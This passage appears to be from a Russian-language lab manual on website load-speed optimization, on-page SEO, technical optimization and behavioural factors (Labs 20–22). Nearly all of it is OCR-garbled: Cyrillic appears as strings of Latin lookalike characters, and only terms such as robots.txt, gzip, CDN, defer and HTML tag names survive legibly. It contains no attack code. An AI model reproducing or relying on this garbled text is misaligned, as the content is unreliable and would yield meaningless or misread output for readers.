TOM TIOpSZKE, B KOTOPOM OHH MOJKIIIOYAIOTCs B IabioHe. Jlanee, BOCIOIb30BaBIIMCH JIFOOBIM CEPBHCOM
muHHukanuu (Hanpumep, CSSminifier), cxkumaem koa. B pe3ynbpTare y Hac cCoKpamaeTcs YMcio 3apocoB,
a U3 GUHAIBHOTO KOJa YAAISIOTCS HE3HAYMMBIC JIJII MHTEPIIPETaTOpa CUMBOJIBI (ITPOOEIIBI, TA0BI, IIEPEHO ChI
CTPOK U T.IL.).
3. PeanuzoBaths acuuxpoHHyto 3arpy3ky CSS u JS.
CSS ¢aiiner 3arpyxatorcs B8 HTML nocpenctBom BcraBku Tera. OHAKO HE BCE KYCKH KOJa HACTOJBKO
KPUTHYHBI, UTO UX CJIEAYeT 3arpykath cpa3y. Hampumep, Ha caliTe eCTb peIKO HCIHOJb3YEMbIi KOMIIOHEHT



CpaBHEHHUsI TOBAapoOB. MIMeeT cMbIci MOArpYyKaTh CTUIIN U JS-KOJ JUIsl HETO HEMOCPEICTBEHHO B TOT MOMEHT,
KOTJ1a MOJIb30BATEIH 3aXOTAT BOCIIOIB30BAThCS TAKUM (DYHKIIHOHAIOM.

4, HactpouTts 0Ti05k€HHYI0 3arpy3Ky javascript-koja.

B crannmaptHoM pexume javascript daiinsl npepriBator napcuar HTML-nokymenTa 1o Tex mop, moka Bce
Takue (aiisbl He OyAyT MOTY4YEeHbI U BBITOJIHEHBI.

Yacrto TpedyeTcsi BCTaBUTh KaKOW-HUOYIb HE 0CO00 3HAYUMBII BUKET COLMATBHBIX CETEH B MOJIBAJI CalTa.
Jl71s Hac HeBaXkKHO, MOSBUTCS JIM OH Ha CTPAHMIIE CPa3y WM CIIYCTS Mapy CEKyH].

UToObI peanu30oBaTh OTIOKEHHYIO 3aTPy3Ky, a TOUHEe 00pabOTKy TaKOTO CKPHUIITa, HEOOXOAUMO MPOMUCATh
atpudyT defer Tery <script>.

S. Yckoputs nosyuenue nepsbix 6aiitos (TTFB).

TTFP — nepBsIii 6aiiT, MOJYYeHHBIA OT CTpaHUIbl. Bpems monmydenus Takoro Oaiita — oquH U3 (HakTopom
paHXUPOBAHUS CTPAHUIIBI TOMCKOBUKAMH, TPEOYIOIINiA K ce0e BHUMAaHUSI.

6. CoxpaTuTth BpeMsi OTBETa cepBepa

HeoOxoauMo mpoBecTH aHanmM3 BceX 3ampocoB K 0Oa3ze maHHbIX. HaiitTu w  ucmnpaBUTh  OLIMOKH.
OnTuMHU3MPOBaTh KOJ 3allPOCOB K 0aze MaHHBIX U M30aBUTHCSA WM MEpEnucaTh IUIATHHbBI, HANHCAHHBIC
MaJIOOMNBITHBIMU Pa3pabOTUYUKAMHU.

7. Bri6path ontuMaibHbIe OMIIMKA XOCTUHTA MOJ1 3alIPOCHI MOJIb30BaTeNeH.

C poctoM umcina mojp30BaTesieil CKOpOCTh pabOThI caiita OyaeT MeIeHHO najgaTh. [lo3ToMy OueHb BaKHO
MPAaBUJIBHO MOA00PATH TUI U OMIIMH XOCTUHTA.

Jliist HeOONBIINX CATOB KOMITAHUK M BU3WUTOK TOJOMIET CaMblil MPOCTONW BUPTYaJIbHBIA XOCTHHT (shared
hosting). Jlns uHTEpHET-Mara3uHoB, noptajioB — VPS/VSD. Jlnig caiiToB ¢ 60IbIION MOCEIIAaeMOCThIO HYKHO
CMOTpETh B CTOPOHY BBIICTICHHBIX (u3ndeckux cepsepoM (Dedicated server).

8. [IpoBecTu aHanu3 cyxaTHs CTpaHUII.

B mporokone HTTP, uncnons3yemoM B MHPOBOM IAayTHMHE, HNPEAYCMOTPEHA BO3MOYKHOCTH CoKaTHS
nepegaBaeMoil  MHGOpMAIMK i SKOHOMHM TpaduKa M YBEIUYEHUS CKOPOCTU 3arpy3Kd JaHHBIX.
BonbIIMHCTBO COBpEMEHHBIX Opay3epoB MMOAJIEPKUBAET METO EZIP.

[TpoBepuTh, BKJIIOUEH JM Yy Bac Ha caiite gzip, MOYKHO, BOCHOJb30BABIIMCH JIFOOBIM MPEII0KEHHBIM
MOMCKOBUKOM CEPBHCOM I10 3arpocy “gzip test”.

9. BxuttounTs cxxatue cTpaHull.

He Bcerna HyXHO Npu KaXOM OTKPBITUH CTpPaHMIIBI T€HEPUPOBATH THICSAUYY 3alpoCcOB K 0asze JaHHBIX.
JlocTaTouHO COXpaHUTh 3Ty HH(OPMALIHIO B CTATUYHOM (haiiie U HACTPOUTh €€ aBTOMATHUYECKOe OOHOBIICHHE
pa3 B roa. Chnenath 3T HACTPOWKH MOXKHO JIMOO B HACTpoMKax Mcrnoiib3yemor Bamu CMS nubo B daiine
.htaccess.

10. Cxatb Bce U300pakeHus U BUJIEO.

Ecnu Ha caiite pacnionaraet 60J1b110€ KOJIMYECTBO N300pakeHUH 1 BU/I€0, UMEET CMBICI CXaTh uX. Crenarb
9TO MOXHO JIHOO B JHOOOM TpadUUecKOM peaakTope, MO0 B OHJIAWH-CEPBHCAX, KOTOPbIE B MHTEPHETE B
nocjeHee BpeMst CTAHOBUTCS Bce OouiblIIe.

11. Ucnons3oBate CDN.

CDN (unu Content Delivery Network) — 3To cets nocraBku koHTeHTa. CailT pa3meraeTcst Ha cepBepax,
HAXOJSIIMXCS B Pa3IMYHBIX MECTaX MUpa. B 3aBUCMOCTH OT TOTO, I/I€ HAXOIUTCS KOHEUHBIN M0JIb30BATEIb,
UH(OPMALIMIO OH MOJIYYaeT ¢ TOTO JIM MHOTO cepBepa — JYUIEro o KOMIUIEKCHOMY IT0Ka3aTello, B KOTOPOM
BaXXHYIO POJIb UTPAET reorpaguueckoe MnojaoxKeHHe.

Hcnonb3oBanne Bo3MokHOcTe CDN He CHIBHO yJapUT IO KOILIENbKY, HO BHECET BECOMBIM BKJIAJ B
KOHEYHYIO 11esb. Tem Oosiee B paMKax TeXHOIAEPKKU MbI TOJAPOOHO paccKa)XeM, Kak MOJIKIIOUYUTHCS K CETH
MaKCHUMaJIbHO BBITOJIHO.

12. Hcnons30BaTh 001a4HbBIE CEPBUCHI.

JlaHHBIN MTyHKT KacaeTcs BUIACO U JPYTUX OOJNBIIMX IO BECy MaTepualoB Ha caiite. UTOObI HE 3arpyxaTh
JUIIHUN pa3 Balll cepBep, TAKUE TOKYMEHTHI JKeJIaTesIbHO pa3MenaTh B 00JIAYHBIX CEpBUCAX.

13. Coxparuth umcio inline-cTuien.

Bec cTpaHuisl mpu HCIONB30BaHUM Inline-CTHIICH YBEIMYMUBACTCS, CKOPOCTh 00pabOTKH Opay3zepom
yMmeHbluaercs. [IpaBunbpHee UCIIONb30BaTh CSS-KIIacChl.

14. PeanuzoBath OTII0KEHHYIO 3arpy3Ky H300pakeHUH, BUEO, iframe 1 KOHTEHTA.

Ecnu Ha cTpaHuie O0ibIIOe KOJUYECTBO TSKEITOBECHBIX 3JEMEHTOB, TO MMEET CMBICH 3arpykaThb HX
HENOCPEJICTBEHHO IMepe] MOMEHTOM HX HCIoib30BaHusA. CIenaTh 3TO HY)XHO AJIsi M300pakKeHUid, BUEO,
iframe, a nHOTAA W 17151 TeKcTa (HAapUMeEp, B cyvae caiiTa OHJIaiH-OMOIMOTEeKH ).

15. [IpoBecTu aHaM3 KoJla M COKPATUTh YUCIIO HCIOIb3yEMbIX IIJIarHHOB.



OueHb Y4acTO HEONBITHBIC Pa3paOOTUUKH JIJIsl peau3aliy OJHOW €AMHCTBEHHOMN BCIUIBIBAIONICH MOICKA3KH
Ha caiiTe MOATPYKAIOT LEJbId IUIArWH, MCIOJB3Ys. OJHY M3 COTEH BO3MOXKHOCTEH OMOIMOTEKH, TO €CTh
CTPEJISFOT U3 MYIIIKH 10 BOPOOBSIM. A €CJIM 3TOT IUIarkH UCIIONB3YeT Ipyrue OMOINOTEKH (3aBUCUMOCTH ), TO
Ha caiiTe MOSBISAETCS OrPOMHAs Kyda HEUCHojb3yemoro koaa. CTOMT IpPOBECTH aHalIM3 Koja caiTa U
YMEHBUIUTh YHUCIIO PEIKO HCHOIb3yeMBbIX IUIarMHOB. Hampumep, BCIUIBIBAIOIIYIO IOJCKA3Ky MOXHO
peanu3oBaTh, HaIKCaB HECKOJIBKO CTPOK Ha ynucTo Javascript 1100 BooO1ie peanu3oBas 3To cpeactBamu CSS.
16. YMEHBIIUTD YUCIIO PEAUPEKTOB.

be3 penupekroB yacto He o0oiTHch. HanpuMmep, eciin y Hac M3MEHUIICS a[pec CTPaHUIIbI, IPOIHUCHIBAETCS
301 peaupexT, 4TOOBI 110JIB30BATEIN CMOIJIA OTKPBITh CTPAHUILY 110 CTAPOH CChUIKE (B HOMCKOBUKAX CCHUIKH
OOHOBIISITOTCSL HE cpa3y). OJHAKO KaXIbld TakOW pEeAUPEKT NPUIMYHO YBEJIMYUBAET BPEMS 3arpy3Ku
crpanuubl. Ecinu 1-2 peaupexTa enie no3BoJMTeNbHO, TO O0JIbLIee YNCIIO KpaliHe HEraTUBHO CKa3bIBAETCS Ha
CKOPOCTH 3arpy3KHu.

17. CoKpaTuTh YUCIIO BHEIIHUX CKPHUIITOB.

Jo6aBnenune kHonku “IlomenuThcs” M T.I. B Pa3IMYHBIX COLICETAX IOJKIIOYAET BHEIIHWE CKPUITHI
BxonTakte, Facebook, Instagram u T.1. 9T0 10NOJIHUTENbHBIE 3aPOCHl K pa3HbIM cepBepam. Heobxonumo
KaK MUHIMYM peali30BaTh UX OTIOKEHHYIO 3arpy3Ky. OHaKo OBIBAIOT CHTYalllH, KOT/Ia 3TO HEBO3MOXKHO.
Hanpumep, MHOrMe HCHONB3YyIH0 BHEIIHHE CKPUITHI, KOTOpbIE J00aBISAIOT Ha CalT HOBblE WIPUTHI
(nanpumep, Google). Hecmotpst Ha To uTo cam Google mpenynpexaaer, HaCKOJIbKO CHUYKAETCSI CKOPOCTh
3arpy3Ku caiiTa, MHOTHE HEOIbITHbIE pa3pabOTUMKK J00ABISAIOT MPUPTHI HAOOYM, Paau OJTHOTO 3arojIoBKa
Ha KaKOM-TO peako mnocemaeMon crpanuie.lloatomy, rae 3T0 BO3MOKHO, CTapalTech MCIOJIb30BaTh
JIOKaJIbHBIC CKPUITHI, @ KOJIMYECTBO BHEIIHUX COKPATUTE A0 MUHUMYMa.

18. [IpoBectu aynuT ObICTpOAEHCTBHS MOOUIILHOM BEPCUM CaliTa.

C nomomsto cepuca Google PageSpeed Insights MoXHO poBecTH OHJIAHH-ayAUT KaK JIECKTOIHOW BEpCUU
caiiTa, TaKk 1 MOOMJILHOM.

19. ITocTOSIHHO ceUTh 3a CKOPOCTBIO 3arpy3KHU CaiTa.

3aganue Ne 1. [Ipoananu3upoBath Bpems 3arpy3Ky MPeII0KEHHOTO caiTa.

3ananue Ne 2. [TpeyioxkuTh U peann3oBaTh CIOCOObI YCKOPEHHS 3arpy3KH MPEI0KEHHOTO caifTa.

JlabopaTopnasi padora 20. «IIpoBenenue BuyTpenneit SEO onrumusanus caiira»

Lens: nonyyeHre HaBBIKOB poBeAieHus BHyTpeHHel SEO ontumMuzanuu caifra.
XO/Jl PABOTBI:
Teopemuueckue céedeHus
Buyrpennsaa SEO ontumusanus caira.
BuyTpenHss ontumusanusa cadta — AEHCTBHUS, TPOBOAUMBIE HAJ CANTOM C LEJIbK IMOBBICUTH MO3WULIMHU
CTpaHMII B TOUCKOBBIX CUCTEMAX I10 3a/JaHHOMY CIHCKY KJIIOUEBBIX (pas3.
SEO-onmumuzayus caiima

1. Co3naiite KOppeKTHBII1 robots.txt.
Robots.txt — TekCTOBBI MOKYMEHT, pPAaCIOJIOKEHHBI B KOPHEBOM Karajore caiita. B HeM yka3aHb
MHCTPYKLIMM O TOM, KaKW€ CTPaHMIIbl Pa3peIIeHO MHAECKCUPOBATh MOMCKOBBIM CHCTEMaM, a Kakue HET.
Hanuuune robots.txt He 00s3aTeNbHO W €ro OTCYTCTBHE O3HAYaeT pa3pellleHue WHIEKCHUPOBaTh callT Oe3
orpanndeHuil. KoppekTHblii robots.txt TOMOKeT MOMCKOBBIM CHCTEMaM ObICTpee U IMOJIHEe UHAEKCUPOBATh
CauT.

2. YKaxxuTe NMpaBUIbHBIN Ter <meta name="robots” content="...">.
Merta-teru HaxozsaTcs B pasaene <head> HTML-koma mokymenTa:
Merta-Ter <meta name="robots” content="""> yrnpaiisieT UHIEKcalluei CTPAHULIbl B TOUCKOBBIX CUCTEMAX.
OTtcyTcTBHE A3TOrO MeTa-Tera O3HauyaeT pas3pelleHue Ha HWHIEKCUpoBaHUE JokyMeHTa. CrenuanbHbIe
3Ha4YeHHUs aTpuOyTa content MO3BOJISIOT:

e content="noindex’’ — 3anpeTUTh UHICKCAITUIO TEKCTAa,

e content="nofollow” — 3anpeTUTL MEPEXO/ MO CCHIIKAM Ha CTPAHHUIIE.

3. UckmrounTe nosiBieHue Tyose.
Jy6mu — 0JMHAKOBBIE MO COJIEPKAHUIO TOKYMEHTBI, JOCTYIHBIE 110 1ByM oTiindHbIM URL-anpecam.
Takue cTpanunbl co croponbl SHaekca u Google MOryT OBITh IECCUMU3HPOBAHEI.
PacnpocTpanenHas nmpuyMHA TOSBICHUSA AYOJei — OTCYTCTBHE SBHOTO YyKa3aHHs Ha TJIABHOE 3E€pKallo.
3epKajaMi CUMUTAIOTCS CAWTHI, SBIAIOIUECS MOJHBIMHA KONMAMHM II0 KOHTEHTY. Tak, CTpaHMIIBI HHTEPHET-
pecypca MOTyT OBITh JIOCTYITHBI 10 aJIpecy C WWW H 0€3 Hero, ¢ cidiieM ““/” B KOHIIe Uik 0e3 Hero.

4. TIpokauaiiTe TU3aifH U F03a0UITUTH.



[TourickoBbIE CHCTEMBI MPUIAIOT OOJBIIYI0 BaKHOCTh MOBEIEHYECKUM (aKkTopaM, KOTOPbIE OLIEHHWBAIOTCS
MOKa3aTesIMA — OTKa3bl, BpeMs Ha caiiTe, rryOnHa mpocMoTpa. KauecTBo nu3aifHa U 103a0UITUTH CHIIBHO
BIMSET HAa 3HAYEHUS JTUX TNokazaTtened. J(u3aiiH nomkeH OBbITh BH3YaJbHO MPHUSATHBIM, HHTYUTHUBHO
MOHSITHBIM M YIOOHBIM JIJIsI TOCETUTEICH.

5. [1oBBICKTE CKOPOCTH 3arpy3KHu.
OT/IMYHBIM TIOKA3aTEIEM MOXKHO CUHMTATh, €CITU BPEMs 3arpy3KH HE MPEBBIMIACT 2 CEKYH, TPHEMIEMbIM —
1o 5 cexynn. Ecnu caifT 3arpy»kaeTcsi CIMIIKOM MEJIJIEHHO, CKOPEE BCET0, CIIEYET BHIIOJIHUTD 3TH ICHCTBUS:

® 1ICIT0JIB30BAaTh BEICOKOCKOPOCTHOM XOCTHHT

® BLIOpATh ONTUMAJIbHBIE TApaMETPbl U300paKEeHHUIA;

® ONTUMHU3UPOBATH KO,

e munumusupoate HTML, CSS, JS;

® [NOAK/TIOYUTh MUHUMAJIBHOE KOJIMYECTBO BHEIIHUX (aiiyioB;

® BKJIFOUUTD CKATHE JAHHBIX Ha CEpBepe.

6. Y nenure sBaumanue SMO.
Social Media Optimization (SMO) — onTuMu3aius IIsl COLMATBHBIX MEIHa, KOTOPas B IEJIOM 3aKJII0YaeTCs
B MOBBILICHUH Y100CTBa UCIIONIb30BAHMS CaliTa IOCETUTENIIMU U3 COIIHAIbHBIX CETEH.
Ha npaktuke 310 03Ha4aeT cnenyromue JeUCTBUS:

© 1ICIT0JIb30BaHNE KHOIIOK “TIOACIIUTHCS ;

® BHEJI[PECHHE MUKPOPA3METKH;

® YKa3aHHE CChIJIOK Ha MPEJICTABUTEIHCTBA B COITUAIBHBIX CETSX.
CMBICT HaIW4yus KHOIMOK “TIOAEIUTBCS” B TOM, YTOOBI IIOJL30BATEIIO0 OBLIO JIETKO IOJEIUTHCS
MOHPABUBIIEMCS] MAaTEPUAJIOM Ha CBOEH JIMYHOW CTPaHHUILIE B COLIUATIBLHON CETH.
ConuanbHble ceTd mnopajepkuBaoT mnpoTtokod Open Graph. Mukpopasmerka yHpaBiisieT 3arojiOBKOM,
U300paKeHHeM, OTICAHUEM U CCBUIKOM, KOT/Ia CTaThIO CaiiTa pa3MeIIaT B COIMAIbHOM CETH.
Ecin BBI iMeeTe THYHBIC MPOQPIIIN B COMMABHBIX CETSIX WM COOOIIECTBA, TO YKAKUTE X aJpeca Ha CBOEM
camre.

7. Ucnonp3yiiTe MHCTPYMEHTBI TIOMCKOBBIX CHCTEM.
Onmumuzayus cmpanuy cauma
Henpro SEO onTUMU3anuy CTPAHUIIBI SBISICTCS MAaKCUMATBHOE ITOBBIIIICHUE €€ PEJICBAHTHOCTH B TIOMCKOBBIX
CHUCTEMax MO KOHKPETHBIM KITFOYEBBIM (hpazam.

1. Ucnonp3yiiTe KitoueBbie ¢pasbl B <title>.
OTtoOpaskaeTcst Kak 3arojOBOK BKJIAJKU Opay3epa U MOXKeT ObITh HCIOIb30BaH B pe3yabTaTax Bbiaauu. [1pu
COCTaBJICHUH 3aroJIOBKa CIEIYHUTE 3TUM PEKOMEHIALIHSIM:

® HaYMHANTE 3aroJIOBOK C OCHOBHOM KJTFOYEeBOM (hpassl,

e He IIPEBbIIIANTe 3HAUYEHUE UTHHBI 3arojoBka B 70-80 cuMBOJIOB;

® IICTIOJIb3YHTE YHUKAILHBIEC 3ar0JIOBKU B TIPEJIeNax CBOETO CaiTa;

® COCTaBIIANTE TPAMOTHBIN M OCMBICTICHHBIN TEKCT 3ar0JIOBKA;

® He BKIIIOUANTE B 3aT0JIOBOK 3HAKH 3aBEPILICHUS MpeIoKeHus — .!? 3aMeHsiiTe X Ha : — U |
CoepkuMoe 3TOTO Tera He MMPUCYTCTBYET Ha CTPaHUIIE.
Ha panxupoBanue mera-ter Bausiet cinabo. [TornckoBble cHCTEMbI MOTYT HCIIOJIB30BATh COJEPKAHUE ITOTO
Tera B CHUIITIETE Ha BbIIaue, YTO OKa3bIBACT CYIIECTBEHHOE BiusiHNE Ha KimkabenbHOCTh (CTR).

2. [ToaroroBwTe onucanus ans description.
Merta-ter <meta name="description” content="""> pacnonosxxeH B cexiiuu <head> HTML-kona nokymeHTa.
CTpyKTypHpyHTE COIEPKUMOE.
®dopmat nogaun nHGOPMAILIUY BIHUSIET Ha yI0OCTBO €€ BOCTIPUSATHUS 4eT0BeKOM. [[0MCKOBBIE CUCTEMBI YMEIOT
pacnio3HaBaTh (opmar momauum HHQOpPMAIMM, aHATU3UPYs KoJ BepcTku crpaHulbl. B HTML-kone
CYIIECTBYIOT Pa3IUYHbIE TETH JIJIs1 BEPCTKH COOTBETCTBYIOMIMX OJIOKOB:

e a03arer <p>

© 3ar0JI0BKH U mmoa3aroioBku <hl1>...<h6>

® MapKHPOBAHHBIE U HYMEPOBaHHbIE CIIUCKH <ul>, <ol>

e Ta0yuIel <table>

e n300pakeHus <img>
CrapaiiTech pa3HOOOPa3UTh BEPCTKY U YMECTHO HCIIOJIb30BaTh MOI00HBIE OJIOKH.

3. ONTUMHU3UPYHTE TEKCT.



[Ipy HamucaHuMm TekcTa, B INEPBYIO OYepeldb, CIEAYET OPHUEHTUPOBATbCAd HA JIIOJEH M 3a00TUTBHCS O
CMBICJIOBOM HAIOJHEHUM, & Y€ IIOTOM ONTHUMM3UPOBATh €ro JUIsl IOMCKOBBIX CHCTEM. JlenaiiTe TeKCThI
UHTEPECHBIMU U JIETKUMHU 17151 uTeHus. [Ipu onTumu3anum TeKcTa yuyuThIBaiTe ClIeAYIOINE PEKOMEH IAI1H:

® ICTIOJIB3YHTE OCHOBHYIO KITFOUEBYIO (hpa3y B MEpBBIX 2—3 ab3amax;

® ICIIOJIb3YHTE UEPAPXUIO 3ar0JIOBKOB U MOA3ar0J0BKOB:

® OCHOBHYIO KJIFOUEBYIO ()pa3y BKJIIOUUTE B IJIaBHBIN 3arosioBok hl;

e He co3/jaBaiiTe 0oJiee OHOTO IIABHOTO 3arojioBKa Ha CTPaHHULIE;

® JIOIIOJIHUTENbHBIE KIIOUEBBbIE (Ppa3bl BKItOYaNTe B oA3aroaoBku h2...ho;

® pa3MelaiTe TEKCTbl YMECTHOIO 00beMa:

e kommepueckue: 2000-3000 cumMBOIIOB;

e nH(popmanmonsie: ot S000 CHMBOJIOB;

® PAaBHOMEPHO pacIpeesiiTe KIIIoUeBble Ppasbl 10 TEKCTY, N30eraiiTe X CKOIJICHHUS B OJTHOW YacCTH.
Kpome 3TOr0 Bam TeKcT J0HKeH OBITh YHUKAJIBHBIM M HE COEPIKaTh IpaMMaTH4ecKkux omuook. [lomuure,
YTO 3a YacTO€ BKJIIOUEHHUE KIHOYEBHIX ()pa3 B TEKCT, IOUCKOBBIE CUCTEMbl MOT'YT HAJIOKUTh CaHKIMM 3a
nepeontumMuzanuio. ONTUMaTbHOE KOJMYECTBO BXOXKICHUN B MPOIEHTaX OT OOIIero oObema TeKCTa s
Ka)JI0T'0 3a1poca cBoe. Y3HaTh €ro OpUEHTHPOBOYHO MOYKHO IIPOAHAIM3UPOBAB KOHKYPEHTOB B TOI-D.

4. OntuMu3upynTe n300paxeHusl.
KadecTBeHHBIN TEKCT 4acTO COIPOBOKAAETCS WILTIOCTPALUAME, KaK, HAallpUMep, 3Ta CTaThs. DTO HPABUTCS
MI0JIb30BATENsIM, HO B 3TOM TakKkke e€cTb HekoTopble mpobsembl 1 SEO. JloGaBnss u3oOpakeHus Ha
CTpaHMIly, YBEIMUYUBAEeTCAd €€ OOLIMi Bec M TeM CaMbIM CHHXAETCS CKOPOCTb 3arpy3ku. BrwiOupaiite
KOPPEKTHBIN (opMar u pazmep M300pakeHUs: — OT 3TOro 3aBUCHT pasmep (aiima. [Ipu BeIOOpEe Qopmara
ClIeyHTE CIEeIYIOLUM ITPOCTHIM MPaBUIIaM:

e ccii 91O aHumanus — .gif;

® eCJIM HE0OX0AUM ITpOo3padyHbli GOH — .pNg;

® B OCTaJIbHBIX CIy4asx — .Jpg.
Br16op pazmepa: B o01ieM ciiydae Bec u300pakeHus TeM Ooiblie, yem Ooibliie ee pasmep. Eciau B craThe
pa3mMeraercsa kapTuHka pazmepoM 400%200 nukcenei, ToO He HY>KHO JIJIs1 3TUX L€ UCIOJIb30BaTh OPUTUHAT
B pazmepe 1600x800 u cxxumath ero B Opaysepe a0 400x200. B TakoMm ciiydae B rpa@uyecKkoM peakTope
cileyeT U3MEeHHTh pazMep 10 Heobxoaummoro 400%200. M300paxeHus Ha CTpaHULy IOOABISAIOTCS C
MOMOIIbIO Tera <img>, KOTOpbIi nMeeT akTyanabHble 111 SEO aTpulyThr:

e SIC — BKJIFOYAeT Ha3BaHue Qaiina;

e alt — omucanue, KOTOPOE MOSBIIASTCS IPU HEBO3MOXKHOCTH 3arpy3UTh KAPTHHKY;

e title — BcruTbIBarOIIas MOACKA3Ka, MOSBIISIONIASCS TPH HABECHUH.
[Ipn BbIOOpe Ha3BaHus (Qailia ¢ H300pakeHHWEM OT/AaBaliTe MNPEANOYTEHHE JIAKOHUYHOMY BapHaHTY
onuchIBaroleMy cyTh (aitna. B atpubyre alt Bkitounte kpatkoe onucanue A0 10 cioB TOro, YT0 UMEHHO
MOKAa3aHO Ha KapTUHKE.

5. Hcnonb3yiiTe BHYTPEHHIOIO MEPETMHKOBKY.
BHyTpeHHSsST NepennHKOBKa — 3TO CCBUIKM MEXAy BHYTPEHHHMMM cTpaHulIaMmu. Ha KpymHBIX caifTax
OCHOBHBIH 3(h(heKT OT MEePETMHKOBKH 3aKJII0UaeTCs B IiepepacipeiesIeHUH Beca CTPaHUIL B MOJIb3y Hanbosee
BaXXHBIX. JTO MO3BOJSAET UM HECKOJIBKO Jydllle paHkupoBaThbcs. Ha HeOonpmmx miomaakax Takon s3ddext
MaJIo3aMEeTEH, HO B 3TOM CJIy4ae IEPEIMHKOBKA TOKE UTPAET BaXKHYIO poiib. [Ipn yMecTHOM HCTIONb30BaHUU
CCBIJIOK BHYTpH CTaTel MoiIb30BaTelNb OyIeT MepexoJUTh 0 HUM U MPOBOIUTH O0JIbIIE BpEMEHU Ha pecypce,
yiy4inas noBeeHueckue (Gaxkropsl. PacripocTpaneHHbIe BUABI NEPETUHKOBKYA — pEKOMEHaTeIbHbIe OJI0KH
U KOHTEKCTHBIE CCBHUIKH.

6. 'paMOTHO IPUMEHANTE UCXOASIINE CCHIIKH.
CymiecTByeT MHEHHE, UYTO HEXKEJIaTebHO CTaBUTh MCXOMSIME CChUIKM Ha BHEIIHHE pecypchl. B cpene
ONTUMHU3ATOPOB €CTh pPAa3JIMYHbIE APryMEHThl 32 M NPOTUB. MCXOASIIMe CCHUIKM Ha aBTOPHUTETHBIC
TEeMaTU4YeCKHE IIJIOIAKU TOMOTAIOT B IPOABHKEHHUHU. Takue cChUIKM MO3BOJISIIOT IOMCKOBUKAM ITPABUIIBHO
OTIpeNIeNIUTh TEMATHKY CChIIaroIerocs caifta. Kpome 3Toro takue cChUIKM NMPUOABISAIOT aBTOPUTETHOCTD U
BalleMy pecypcy. Mexosmue cCbUIKM Ha CIIAMHBIE PECYPCHI clielyeT n30eraTh M UCIOJIb30BaTh ISl HUX
atpudyT rel="nofollow”. Takue cCbUIKK MOTYT MOSBIATHCSA, HAIPUMED, B KOMMEHTApHUSX.
Bkirogaiite B cTaThbl HCXOASIIUE CCHIIKU Ha aBTOPUTETHBIE TEMAaTHUECKUE IUIOLIAIKH.
3apanme Ne 1. [Iposenure SEO-onTUMU3auio NpeasoKeHHOTO CaiTa.



JlabGoparopHas padora 21. « TexHuueckasi ONTUMHU3ALMS, TONOJHUTEIbHbIE HACTPOMKI)
Llenb: nonyyeHre HaBBIKOB TEXHUYECKOW ONTHUMU3AIMU CAUTOB.
XOJ PABOTBI:
Teopemuueckue ceedenusn
TexHuueckast ONTUMU3ALNS CAaUTOB. TeXHUYECKNE XapaKTePUCTUKH CalTa:
— (paiin Robots.txt (mpuCyTCTBYT Ju 3TOT (haiin);
— Hanuuue omuoku «Googlebot He MokeT monyuuTs goctyn K daitnam CSS u JS Ha caiitey;
— CKOPOCTb 3arpy3KH CTPAHHMII,
— ONTUMU3ALIUSA 1101 MOOUIIbHBIE YCTPOUCTBA;
— BanuaHocth HTML-xona;
— OuThIe CChUTKM (HaNU4Yue OUTHIX CCHIJIOK HETATUBHO CKA3bIBAETCS HA MPOJIBHKEHUN);
— 1yOJIMpPOBaHHBIN KOHTEHT.
3amanue Ne 1. [IpoBeauTe TEXHUYECKYIO ONITUMU3AIMIO TIPEAJIOKEHHOTO CaiTa.

JlaboparopHasi padora 22. «Yiay4lieHue noBeJeH4eCKUuX (pakTopos»
[enp: momy4yeHre HaBBIKOB YIyUIICHHS IOBEACHUYSCKUX (PaKTOPOB.
XOJ PABOTHI:
Teopemuueckue ceedenus
Vyuwenue nogedenueckux gpaxmopos
[ToBenenueckue GakTopsl — MOKa3aTEIU, XapaKTEPU3YIOIINE MMOBEICHUE JII0IeH Ha BallleM cailTe.
[1® yuynThIBatOTCS MOMCKOBBIMU CUCTEMAaMHU U BIMSIIOT Ha paH)XUPOBaHHE CaifTa.
CymiecTByeT OrpoMHOE KOJIHYECTBO (hakTopoB. Kak mpaBuio OHM AENSATCS HAa BHEIIHWE W BHYTPEHHHE.
YToObl HE MBITATHCS OXBATUTH HEOOBITHOE, COCPEAOTOUYUMCS CEroHsI Ha 0a30BbIX BHYTPEHHUX (aKTopax:
OTKa3bl, BpeMsl Ha caiiTe, TITyOMHA MPOCMOTPa, BO3BpaThl. Ha 3TH (hakTOphl BBl MOXKETE TIOBIHUATH, paboTas
HaJl CBOUM CalTOM.
Bot Heckonpko crioco060B, KOTOPbIE IOMOTYT YIYUYIIMTh 3TH ITOKa3aTelu.
1. OTBeThTE Ha BOIIPOC: O YEM CaUT?
[Toceturens nomkeH OBICTPO MOHATH TEMATUKY caiiTa, ero npeaHazHaueHre. OueHb XOpouIo ¢ 3TOH 3aaaueit
CIIPaBJISIOTCS:
® JIOTOTHUII U CJIOTaH, PacIOJIOKEHHBIE B IIATIKE CailTa;
© 3ar0JIOBOK I'VIABHOW CTpPaHUILBI;
e 00mIMiT Tu3aitH U oopMIIeHUE cailTa.
BusyanbHO cailT JOJIKEH COOTBETCTBOBATh CBOEM TEMAaTHKE, a TEKCThI PacKphIBaTh €ro CYIIHOCTh. Takas
uH(OpMaIKs TOMOXKET YEJIOBEKY MOHATh, YTO CAUT OTBEYAET €ro 3ampocy, MOOYIUT €ro yAeTuTh BalleMy
pecypcy 6ombiiie BHUMaHus. Kak ciencrBue, mokasaTellb 0TKa30B JOKEH CHU3UTHCS.
2. Pa3mecTrTe BUTPUHY Ha TTIaBHOW CTpaHHMIIE.
DTa peKOMEeHJalus MOAXOJUT MHTEpPHET-MarasuHaM U caiiTaM c Karajgorom ToBapoB. He 3acrtaBmusiite
yeJioBeKa UCKaTh TO, paJy 4ero OH Mpulles Ha caT. [IpaBuiabHO copMupoBaHHas BUTPUHA 3aMHTEPECYET
MOCETUTEIISI U 3aCTABUT OCTAThCS Ha cailTe.
3. PemnTe KOHKPETHYIO 3a/1a9y ITOCETUTEIISI.
JloGaBbTe Ha TJIABHYIO CTpPaHUIly OJIOK, TOCBSIIEHHBIA PEIICHUIO OJHOW-CIUHCTBEHHOW MPOOIEMBI.
XopomMy TpUMEpaMUd  MOTYT CIYXXHTh KaJIBKYJIATOpP pacueTa CTOMMOCTH (3aKa3 KyXOHb) |
crieranu3upoBaHHas popma rnoucka (aBTOMOOUIBHBIC 3aMMYACTH).
Taxoif criocod — 3T0 BO3MOKHOCTb OJJHOBPEMEHHO U yJepKaTh MMOCETUTENSI Ha cailTe, U BBIACIUTHCSA CPEAU
KOHKYpeHTOB. [lorymaiite, ecTh 1 y 1IeNIeBOTO MOCETUTENS] KOHKPETHASI HACYIIHAs Mpobiema, U monpoOyiite
